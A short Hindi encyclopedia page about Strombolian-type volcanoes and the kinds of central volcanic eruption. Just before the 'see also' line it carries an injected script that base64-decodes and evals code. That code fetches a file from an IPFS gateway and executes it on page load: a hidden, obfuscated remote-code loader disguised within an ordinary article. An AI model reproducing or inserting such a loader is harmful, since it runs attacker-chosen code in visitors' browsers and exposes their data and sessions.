स्ट्राम्बोली तुल्य ज्वालामुखी

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें

स्ट्राम्बोली तुल्य ज्वालामुखी के उद्गार में अम्ल की मात्रा कुछ कम रहती है। यदि गैसों के प्रवाह मार्ग में कोई रुकावट न हो तो सामान्त: इसमें विस्फोटक उद्गार नहीं होता।

  • जब ज्वालामुखी उद्भेदन किसी एक केंद्रीय मुख से भारी धमाके के साथ होता है तो उसे 'केन्द्रीय उद्भेदन' कहते हैं। केन्द्रीय उद्गार विनाशात्मक प्लेटों के किनारों के सहारे होता है। केन्द्रीय उद्गार कई प्रकार के होते हैं-
  1. पीलियन तुल्य ज्वालामुखी
  2. वल्कैनो तुल्य ज्वालामुखी
  3. स्ट्राम्बोली तुल्य ज्वालामुखी
  4. हवाईयन तुल्य ज्वालामुखी

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>इन्हें भी देखें: पर्वत, पहाड़ी, पर्वतमाला, पर्वत कटक एवं पर्वत श्रेणी


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

संबंधित लेख